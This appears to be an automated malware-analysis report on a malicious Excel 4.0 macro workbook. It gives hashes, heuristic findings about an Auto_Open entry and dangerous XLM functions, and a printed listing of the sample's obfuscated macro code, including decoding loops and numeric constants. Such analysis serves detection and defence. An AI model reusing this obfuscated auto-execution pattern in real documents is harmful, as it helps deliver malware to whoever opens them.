Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 51df50a24429d208…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:47:17 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: f50e28e0c905a7bdc157ed2bb82a3b66 SHA-1: 857872555e43426c50a9fcf015e12770e24486d2 SHA-256: 51df50a24429d2084fd68dd5bbd7cfc0e40e84b868a513484c4af60b345bc6a3
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6889 bytes
SHA-256: 93e1cb30a66d8d3a63e6e37cbde608154d56dfaad15dccc49ebfb7813f4df448
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  lRqtPxiBhS
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B153 
' 0018     24 LABEL : Cell Value, String Constant - CQMWCoxFN len=0 
' 0018     25 LABEL : Cell Value, String Constant - DVMRBdrUOF len=0 
' 0018     20 LABEL : Cell Value, String Constant - FggMk len=0 
' 0018     21 LABEL : Cell Value, String Constant - fnwhyK len=0 
' 0018     26 LABEL : Cell Value, String Constant - HgwIRXHhyJQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - IsalSWiImH len=0 
' 0018     26 LABEL : Cell Value, String Constant - IwotHLHhEND len=0 
' 0018     23 LABEL : Cell Value, String Constant - JDDXXWFl len=0 
' 0018     26 LABEL : Cell Value, String Constant - KhagjelUBpa len=0 
' 0018     20 LABEL : Cell Value, String Constant - kUEZi len=0 
' 0018     22 LABEL : Cell Value, String Constant - QDqEoMj len=0 
' 0018     27 LABEL : Cell Value, String Constant - qMBNEOpSwNpt len=0 
' 0018     22 LABEL : Cell Value, String Constant - saOdFIf len=0 
' 0018     20 LABEL : Cell Value, String Constant - SLBUa len=0 
' 0018     24 LABEL : Cell Value, String Constant - SueyTndMf len=0 
' 0018     21 LABEL : Cell Value, String Constant - tcXiQj len=0 
' 0018     26 LABEL : Cell Value, String Constant - TxVLWHutPZd len=0 
' 0018     23 LABEL : Cell Value, String Constant - wQMrJlmU len=0 
' 0018     24 LABEL : Cell Value, String Constant - wrfjwTmeu len=0 
' 0018     25 LABEL : Cell Value, String Constant - ykEzlmJEay len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  lRqtPxiBhS,B50,"SET.NAME("ykEzlmJEay",0+VALUE("0"))",""
'  lRqtPxiBhS,B55,"SET.NAME("qMBNEOpSwNpt",ykEzlmJEay)",""
'  lRqtPxiBhS,B60,"SET.NAME("CQMWCoxFN",ykEzlmJEay)",""
'  lRqtPxiBhS,B64,"SET.NAME("SueyTndMf",COUNTA(TxVLWHutPZd))",""
'  lRqtPxiBhS,B68,"SET.NAME("wrfjwTmeu",COUNTA(wQMrJlmU))",""
'  lRqtPxiBhS,B70,[],""
'  lRqtPxiBhS,B73,"SET.NAME("DVMRBdrUOF","")",""
'  lRqtPxiBhS,Q74,"",21.00000000000000000000
'  lRqtPxiBhS,Q75,"",-248.00000000000000000000
'  lRqtPxiBhS,Q76,"",-971.00000000000000000000
'  lRqtPxiBhS,Q77,"",257.00000000000000000000
'  lRqtPxiBhS,B78,"qMBNEOpSwNpt",""
'  lRqtPxiBhS,Q78,"",454.00000000000000000000
'  lRqtPxiBhS,Q79,"",-595.00000000000000000000
'  lRqtPxiBhS,B83,"SET.NAME("tcXiQj",HLOOKUP("*",TxVLWHutPZd,qMBNEOpSwNpt,FALSE))",""
'  lRqtPxiBhS,B85,"QDqEoMj",""
'  lRqtPxiBhS,B89,"SET.NAME("SLBUa",ykEzlmJEay)",""
'  lRqtPxiBhS,B94,[],""
'  lRqtPxiBhS,B99,"SLBUa",""
'  lRqtPxiBhS,B104,"IwotHLHhEND",""
'  lRqtPxiBhS,B107,"KhagjelUBpa",""
'  lRqtPxiBhS,B112,"kUEZi",""
'  lRqtPxiBhS,B115,"SET.NAME("JDDXXWFl",VALUE(HLOOKUP("*",wQMrJlmU,kUEZi,FALSE)))",""
'  lRqtPxiBhS,B119,"HgwIRXHhyJQ",""
'  lRqtPxiBhS,B121,"DVMRBdrUOF",""
'  lRqtPxiBhS,B125,"CQMWCoxFN",""
'  lRqtPxiBhS,B128,NEXT(),""
'  lRqtPxiBhS,B132,"IsalSWiImH",""
'  lRqtPxiBhS,B137,[],""
'  lRqtPxiBhS,B142,"FggMk",""
'  lRqtPxiBhS,B146,NEXT(),""
'  lRqtPxiBhS,B149,RETURN(),""
'  lRqtPxiBhS,B175,"SET.NAME("saOdFIf",B50)",""
'  lRqtPxiBhS,B179,"TxVLWHutPZd",""
'  lRqtPxiBhS,B184,"SET.NAME("wQMrJlmU",R43C15)",""
'  lRqtPxiBhS,B188,"SET.NAME("FggMk",195)",""
'  lRqtPxiBhS,B191,"SET.NAME("fnwhyK",2)",""
'  lRqtPxiBhS,B194,saOdFIf(),""
'  lRqtPxiBhS,B195,HALT(),""

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